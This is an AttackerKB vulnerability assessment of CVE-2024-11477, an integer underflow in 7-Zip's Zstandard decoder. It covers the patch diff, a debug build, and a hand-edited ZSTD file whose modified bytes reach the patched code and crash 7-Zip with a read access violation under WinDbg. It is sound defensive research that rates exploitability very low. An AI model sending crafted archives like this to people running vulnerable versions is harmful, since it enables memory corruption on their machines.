Very Low
CVE-2024-11477
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below:
Add References:
CVE-2024-11477
MITRE ATT&CK
Collection
Command and Control
Credential Access
Defense Evasion
Discovery
Execution
Exfiltration
Impact
Initial Access
Lateral Movement
Persistence
Privilege Escalation
Topic Tags
Description
7-Zip Zstandard Decompression Integer Underflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of 7-Zip. Interaction with this library is required to exploit this vulnerability but attack vectors may vary depending on the implementation.
The specific flaw exists within the implementation of Zstandard decompression. The issue results from the lack of proper validation of user-supplied data, which can result in an integer underflow before writing to memory. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-24346.
Add Assessment
Ratings
-
Attacker ValueVery Low
-
ExploitabilityVery Low
Technical Analysis
Update: Nov 27, 2024 – Added an example of how to generate and reach the suspicious code path that was patched.
Ratings
This vulnerability was introduced into 7zip in version 24.05 (released circa May 15, 2024), and then fixed in version 24.07 (released circa June 19, 2024), so therefore the vulnerability was only present in two releases over a 1 month period. This should greatly limit the impact of the vulnerability, and I have rated the attacker value as Very Low
because of this. I have tagged this vulnerability Vulnerable in default configuration
, as no additional configuration is required if running a vulnerable version 24.05
or 24.06
.
I have tagged this vulnerability as Requires user interaction
, as when using the UI, a user must extract a file from a malicious ZSTD archive, rather than just view or open the file. We should note however that 7zip may be used as either a library or console application in a pipeline on some Linux-like systems, and in that context, may extract files automatically (e.g. if inspecting the contents of compressed archives as part of the pipeline).
This vulnerability appears to lead to heap based memory corruption, which is difficult to exploit in many scenarios, especially in a client-side file-format scenario. On Windows, while 7zip does enable the ASLR and DEP mitigations, newer mitigation such as CFG and CET are not enabled. While exploitation of this vulnerability may be non-trivial, it cannot be ruled out. There is no known exploit code currently available. Therefore I have rated the exploitability as Very Low
and tagged it as Difficult to weaponize
.
The Patch
We know the vulnerability affects the 7zip implementation of Zstandard decompression (see RFC 8878), and the advisory states that version 24.07
patches the vulnerability. If we inspect the code changes between version 24.06
and 24.07
, the below change to the file C/ZstdDec.c
stands out.
C:\Users\sfewer\Desktop\7zipOverflow\7zip>git diff 24.06..24.07 C\ZstdDec.c diff --git a/C/ZstdDec.c b/C/ZstdDec.c index ac159d6..6ad47eb 100644 --- a/C/ZstdDec.c +++ b/C/ZstdDec.c @@ -1,5 +1,5 @@ /* ZstdDec.c -- Zstd Decoder -2024-05-26 : the code was developed by Igor Pavlov, using Zstandard format +2024-06-18 : the code was developed by Igor Pavlov, using Zstandard format specification and original zstd decoder code as reference code. original zstd decoder code: Copyright (c) Facebook, Inc. All rights reserved. This source code is licensed under BSD 3-Clause License. @@ -1308,8 +1308,10 @@ FSE_Decode_SeqTable(CFseRecord * const table, in->len--; { const Byte *ptr = in->ptr; - const Byte sym = ptr[0]; + const unsigned sym = ptr[0]; in->ptr = ptr + 1; + if (sym >= numSymbolsMax) + return SZ_ERROR_DATA; table[0] = (FastInt32)sym #if defined(Z7_ZSTD_DEC_USE_ML_PLUS3) + (numSymbolsMax == NUM_ML_SYMBOLS ? MATCH_LEN_MIN : 0)
The function FSE_Decode_SeqTable
has been patched to ensure a value sym
, which is read from some input, is not greater or equal to a maximum value called numSymbolsMax
. Additionally, the data type of sym
has been changed from Byte
to unsigned
.
The addition of a check against a max value is suspicious, as is the change in data type when we see that sym
is later cast to a type FastInt32
. Although upon inspection, both Byte
and FastInt32
appear to be unsigned data types, so I would not expect sign extension to occur here when casting.
To explore the patch further, we will build a test cast to reach this code path.
Building 7zip
We will create a Debug build of the 7zip File Manager UI application on Windows. This will allow us to do source level debugging in WinDbg
later on.
First we checkout the 7zip source code and switch to a vulnerable branch for version 24.06
.
C:\Users\sfewer\Desktop\7zipOverflow>git clone https://github.com/ip7z/7zip C:\Users\sfewer\Desktop\7zipOverflow>cd 7zip C:\Users\sfewer\Desktop\7zipOverflow\7zip>git checkout 24.06 C:\Users\sfewer\Desktop\7zipOverflow\7zip>git status HEAD detached at 24.06
To create debug build, we need to modify a single make file (thanks to this StackOverflow question).
diff --git a/CPP/Build.mak b/CPP/Build.mak index afb7ae8..93a383d 100644 --- a/CPP/Build.mak +++ b/CPP/Build.mak @@ -69,7 +69,7 @@ CFLAGS_WARN_LEVEL = -W4 CFLAGS_WARN_LEVEL = -Wall !ENDIF -CFLAGS = $(CFLAGS) -nologo -c -Fo$O/ $(CFLAGS_WARN_LEVEL) -WX -EHsc -Gy -GR- -GF +CFLAGS = $(CFLAGS) -nologo -c -Fo$O/ $(CFLAGS_WARN_LEVEL) -WX -EHsc -Gy -GR- -GF /Zi !IF "$(CC)" == "clang-cl" @@ -132,13 +132,13 @@ CFLAGS = $(CFLAGS) -D_ARM_WINAPI_PARTITION_DESKTOP_SDK_AVAILABLE !ENDIF !IF "$(PLATFORM)" == "x64" -CFLAGS_O1 = $(CFLAGS) -O1 +CFLAGS_O1 = $(CFLAGS) -Od !ELSE -CFLAGS_O1 = $(CFLAGS) -O1 +CFLAGS_O1 = $(CFLAGS) -Od !ENDIF -CFLAGS_O2 = $(CFLAGS) -O2 +CFLAGS_O2 = $(CFLAGS) -Od -LFLAGS = $(LFLAGS) -nologo -OPT:REF -OPT:ICF -INCREMENTAL:NO +LFLAGS = $(LFLAGS) -nologo -OPT:REF -OPT:ICF -INCREMENTAL:NO /DEBUG !IFNDEF UNDER_CE LFLAGS = $(LFLAGS) /LARGEADDRESSAWARE
With the make file modified to generate a debug build, we open up an x64 Native Tools Command Prompt
for Visual Studio and issue an nmake
command.
C:\Users\sfewer\Desktop\7zipOverflow\7zip\CPP\7zip>nmake
The vulnerable decompression code is located in the 7z.dll
binary. We copy the build artifacts 7z.dll
, 7z.pdb
, 7zFM.exe
, 7zFM.pdb
to a separate folder to ensure they load (we also had 7zip installed locally via an MSI installer). We can then launch the UI via the 7zFM.exe
executable.
Generating a ZSTD file
As the Zstandard algorithm was originally developed by Meta, we can generate a valid ZSTD compressed file using the reference implementation.
We clone and build the reference implementation, and then use the zstd
tool to compress a file that contains 1024 letter A
characters.
sfewer@sfewer-ubuntu-vm:~/Desktop$ git clone https://github.com/facebook/zstd Cloning into 'zstd'... remote: Enumerating objects: 61600, done. remote: Counting objects: 100% (49/49), done. remote: Compressing objects: 100% (37/37), done. remote: Total 61600 (delta 16), reused 41 (delta 12), pack-reused 61551 (from 1) Receiving objects: 100% (61600/61600), 38.02 MiB | 31.86 MiB/s, done. Resolving deltas: 100% (46033/46033), done. sfewer@sfewer-ubuntu-vm:~/Desktop$ cd zstd/ sfewer@sfewer-ubuntu-vm:~/Desktop/zstd[dev]$ make make[1]: Entering directory '/home/sfewer/Desktop/zstd/lib' CC obj/conf_6dfaa674569dd42c9d9861c915b0e7c2/static/debug.o CC obj/conf_6dfaa674569dd42c9d9861c915b0e7c2/static/entropy_common.o CC obj/conf_6dfaa674569dd42c9d9861c915b0e7c2/static/error_private.o CC obj/conf_6dfaa674569dd42c9d9861c915b0e7c2/static/fse_decompress.o CC obj/conf_6dfaa674569dd42c9d9861c915b0e7c2/static/pool.o ...snip... CC obj/conf_20daa47e8058f816896e54abab38685b/zstdcli.o CC obj/conf_20daa47e8058f816896e54abab38685b/zstdcli_trace.o ==> building with threading support ==> building zstd with .gz compression support ==> building zstd with .xz/.lzma compression support ==> no liblz4, building zstd without .lz4 support LINK obj/conf_20daa47e8058f816896e54abab38685b/zstd zstd build completed make[1]: Leaving directory '/home/sfewer/Desktop/zstd/programs' sfewer@sfewer-ubuntu-vm:~/Desktop/zstd[dev]$ ./zstd --version *** Zstandard CLI (64-bit) v1.5.7, by Yann Collet *** sfewer@sfewer-ubuntu-vm:~/Desktop/zstd[dev]$ ./zstd ~/Desktop/A.txt /home/sfewer/Desktop/A.txt : 2.34% ( 1.000 KiB => 24 B, /home/sfewer/Desktop/A.txt.zst)
We can examine what a valid ZSTD file looks like:
sfewer@sfewer-ubuntu-vm:~/Desktop/zstd[dev]$ xxd ~/Desktop/A.txt.zst 00000000: 28b5 2ffd 6400 0355 0000 1841 410a 0100 (./.d..U...AA... 00000010: fa2b 8005 33ac 8ae1 .+..3... sfewer@sfewer-ubuntu-vm:~/Desktop/zstd[dev]$
Reaching the vulnerable code path
By setting a breakpoint in WinDbg
, we can observe that some data from our test file is processed by 7z!FSE_Decode_SeqTable
.
0:007> bp 7z!FSE_Decode_SeqTable *** WARNING: Unable to verify checksum for C:\Users\sfewer\Desktop\7zipOverflow\debug\7z.dll 0:007> g Breakpoint 0 hit 7z!FSE_Decode_SeqTable: 00007ff9`c1e1ffd0 4c894c2420 mov qword ptr [rsp+20h],r9 ss:000000ba`080ff3e8=0000000000020110 0:007> t 7z!FSE_Decode_SeqTable+0x18: 00007ff9`c1e1ffe8 83bc249000000002 cmp dword ptr [rsp+90h],2 ss:000000ba`080ff400=00000000 0:007> k # Child-SP RetAddr Call Site 00 000000ba`080ff370 00007ff9`c1e2229b 7z!FSE_Decode_SeqTable+0x18 [C:\Users\sfewer\Desktop\7zipOverflow\7zip\C\ZstdDec.c @ 1284] 01 000000ba`080ff3d0 00007ff9`c1e23819 7z!ZstdDec1_DecodeBlock+0x81b [C:\Users\sfewer\Desktop\7zipOverflow\7zip\C\ZstdDec.c @ 2531] 02 000000ba`080ff4d0 00007ff9`c1e22b41 7z!ZstdDec_DecodeBlock+0x709 [C:\Users\sfewer\Desktop\7zipOverflow\7zip\C\ZstdDec.c @ 3442] 03 000000ba`080ff5e0 00007ff9`c1dd6569 7z!ZstdDec_Decode+0x2c1 [C:\Users\sfewer\Desktop\7zipOverflow\7zip\C\ZstdDec.c @ 3737] 04 000000ba`080ff6c0 00007ff9`c1cec350 7z!NCompress::NZstd::CDecoder::Code+0x159 [C:\Users\sfewer\Desktop\7zipOverflow\7zip\CPP\7zip\Compress\ZstdDecoder.cpp @ 164] *** WARNING: Unable to verify checksum for C:\Users\sfewer\Desktop\7zipOverflow\debug\7zFM.exe 05 000000ba`080ff750 00007ff6`0acb66e0 7z!NArchive::NZstd::CHandler::Extract+0x440 [C:\Users\sfewer\Desktop\7zipOverflow\7zip\CPP\7zip\Archive\ZstdHandler.cpp @ 821] 06 000000ba`080ff910 00007ff6`0acc3343 7zFM!CAgentFolder::Extract+0x630 [C:\Users\sfewer\Desktop\7zipOverflow\7zip\CPP\7zip\UI\Agent\Agent.cpp @ 1555] 07 000000ba`080ffad0 00007ff6`0acf4da6 7zFM!CAgentFolder::CopyTo+0x193 [C:\Users\sfewer\Desktop\7zipOverflow\7zip\CPP\7zip\UI\Agent\ArchiveFolder.cpp @ 46] 08 000000ba`080ffb80 00007ff6`0ad21de0 7zFM!CPanelCopyThread::ProcessVirt+0x536 [C:\Users\sfewer\Desktop\7zipOverflow\7zip\CPP\7zip\UI\FileManager\PanelCopy.cpp @ 112] 09 000000ba`080ffcb0 00007ff6`0ad2093d 7zFM!CProgressThreadVirt::Process+0x40 [C:\Users\sfewer\Desktop\7zipOverflow\7zip\CPP\7zip\UI\FileManager\ProgressDialog2.cpp @ 1425] 0a 000000ba`080ffd80 00007ff6`0ad370fe 7zFM!MyThreadFunction+0x1d [C:\Users\sfewer\Desktop\7zipOverflow\7zip\CPP\7zip\UI\FileManager\ProgressDialog2.cpp @ 1393] 0b 000000ba`080ffdc0 00007ff9`f0cd259d 7zFM!thread_start<unsigned int (__cdecl*)(void *),1>+0x5a [minkernel\crts\ucrt\src\appcrt\startup\thread.cpp @ 97] 0c 000000ba`080ffdf0 00007ff9`f1c6af38 KERNEL32!BaseThreadInitThunk+0x1d 0d 000000ba`080ffe20 00000000`00000000 ntdll!RtlUserThreadStart+0x28
Inspecting the contents on the in
structure, we see several bytes that correspond to bytes from the test case file (at offset 16).
0:007> dt in Local var @ 0xba080ff3d8 Type CInBufPair* 0x000000ba`080ff430 +0x000 ptr : 0x00000248`50970010 "???" +0x008 len : 4 0:007> db 0x00000248`50970010 L8 00000248`50970010 fa 2b 80 05 33 ac 8a e1 .+..3...
The caller to 7z!FSE_Decode_SeqTable
is 7z!ZstdDec1_DecodeBlock
. We can inspect the call site and see the seqMode
variable originated 1 byte before the remaining data in the in
structure. In our test case this byte was 0x00
.
mode = *in.ptr++; if (mode & 3) // Reserved bits return SZ_ERROR_DATA; seqMode = (mode >> 6); if (seqMode == k_SeqMode_Repeat) { if (!IS_SEQ_TABLES_WERE_SET(p)) return SZ_ERROR_DATA; } else RINOK(FSE_Decode_SeqTable( p->fse.ll, &in, 6, // predefAccuracy &p->ll_accuracy, NUM_LL_SYMBOLS, k_PredefRecords_LL, seqMode))
Upon inspecting RFC8878, we learn that this seqMode
variable represents Symbol_Compression_Modes
, and to reach the vulnerable code path, we must set this mode to be RLE_Mode
. As there are 3 different tables that are processed, the mode can be set 3 times, left shifted by 2 bits for each mode, and with the low 2 bits cleared. Therefore we patch our test case to have a Symbol_Compression_Modes
value of 0x54
which is 01010100
in binary. The will give us a Literal_Lengths_Mode
(LL) of RLE_Mode
, a Offsets_Mode
(OM) of RLE_Mode
, and a Match_Lengths_Mode
(ML) of RLE_Mode
. So when 7z!ZstdDec1_DecodeBlock
processes the current block, it will call 7z!FSE_Decode_SeqTable
once for each table (LL, OM, and ML), and reach the code that was patched. If the mode is not set to RLE_Mode
, the patched code path is not reached. As we know the patched function will read a single byte, and write that value to the corresponding table, we patch our testcase to have 3 consecutive 0xFF bytes.
The resulting test case looks like this.
sfewer@sfewer-ubuntu-vm:~/Desktop/zstd[dev]$ xxd ~/Desktop/A.txt.zst 00000000: 28b5 2ffd 6400 0355 0000 1841 410a 0154 (./.d..U...AA..T 00000010: ffff ff05 33ac 8ae1 ....3...
The result of decompressing this file in 7zipFM.exe
, is the following read access violation
(24fc.2420): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. *** WARNING: Unable to verify checksum for C:\Users\sfewer\Desktop\7zipOverflow\debug\7z.dll 7z!Decompress_Sequences+0x73c: 00007ff9`c1e1f52c 488b00 mov rax,qword ptr [rax] ds:000001da`28faffec=???????????????? 0:007> k # Child-SP RetAddr Call Site 00 00000072`0baff320 00007ff9`c1e22438 7z!Decompress_Sequences+0x73c [C:\Users\sfewer\Desktop\7zipOverflow\7zip\C\ZstdDec.c @ 2210] 01 00000072`0baff4d0 00007ff9`c1e23819 7z!ZstdDec1_DecodeBlock+0x9b8 [C:\Users\sfewer\Desktop\7zipOverflow\7zip\C\ZstdDec.c @ 2617] 02 00000072`0baff5d0 00007ff9`c1e22b41 7z!ZstdDec_DecodeBlock+0x709 [C:\Users\sfewer\Desktop\7zipOverflow\7zip\C\ZstdDec.c @ 3442] 03 00000072`0baff6e0 00007ff9`c1dd6569 7z!ZstdDec_Decode+0x2c1 [C:\Users\sfewer\Desktop\7zipOverflow\7zip\C\ZstdDec.c @ 3737] 04 00000072`0baff7c0 00007ff9`c1cec350 7z!NCompress::NZstd::CDecoder::Code+0x159 [C:\Users\sfewer\Desktop\7zipOverflow\7zip\CPP\7zip\Compress\ZstdDecoder.cpp @ 164] *** WARNING: Unable to verify checksum for C:\Users\sfewer\Desktop\7zipOverflow\debug\7zFM.exe 05 00000072`0baff850 00007ff6`0acb66e0 7z!NArchive::NZstd::CHandler::Extract+0x440 [C:\Users\sfewer\Desktop\7zipOverflow\7zip\CPP\7zip\Archive\ZstdHandler.cpp @ 821] 06 00000072`0baffa10 00007ff6`0acc3343 7zFM!CAgentFolder::Extract+0x630 [C:\Users\sfewer\Desktop\7zipOverflow\7zip\CPP\7zip\UI\Agent\Agent.cpp @ 1555] 07 00000072`0baffbd0 00007ff6`0acf4da6 7zFM!CAgentFolder::CopyTo+0x193 [C:\Users\sfewer\Desktop\7zipOverflow\7zip\CPP\7zip\UI\Agent\ArchiveFolder.cpp @ 46] 08 00000072`0baffc80 00007ff6`0ad21de0 7zFM!CPanelCopyThread::ProcessVirt+0x536 [C:\Users\sfewer\Desktop\7zipOverflow\7zip\CPP\7zip\UI\FileManager\PanelCopy.cpp @ 112] 09 00000072`0baffdb0 00007ff6`0ad2093d 7zFM!CProgressThreadVirt::Process+0x40 [C:\Users\sfewer\Desktop\7zipOverflow\7zip\CPP\7zip\UI\FileManager\ProgressDialog2.cpp @ 1425] 0a 00000072`0baffe80 00007ff6`0ad370fe 7zFM!MyThreadFunction+0x1d [C:\Users\sfewer\Desktop\7zipOverflow\7zip\CPP\7zip\UI\FileManager\ProgressDialog2.cpp @ 1393] 0b 00000072`0baffec0 00007ff9`f0cd259d 7zFM!thread_start<unsigned int (__cdecl*)(void *),1>+0x5a [minkernel\crts\ucrt\src\appcrt\startup\thread.cpp @ 97] 0c 00000072`0baffef0 00007ff9`f1c6af38 KERNEL32!BaseThreadInitThunk+0x1d 0d 00000072`0bafff20 00000000`00000000 ntdll!RtlUserThreadStart+0x28
Further manipulation of the test case file, showed that 7z!Decompress_Sequences
may crash in several different locations, however I could not make a test case file that caused a write access violation.
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportCVSS V3 Severity and Metrics
General Information
Vendors
- 7-zip
Products
- 7-zip
References
Exploit
A PoC added here by the AKB Worker must have at least 2 GitHub stars.
Additional Info
Technical Analysis
Report as Emergent Threat Response
Report as Exploited in the Wild
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below:
A nice analysis has been posted here: https://github.com/TheN00bBuilder/cve-2024-11477-writeup/blob/main/CVE-2024-11477-Writeup.md
The author reproduces the vuln, and generates a write access violation. The author also questions the ability of leveraging the vuln for code execution.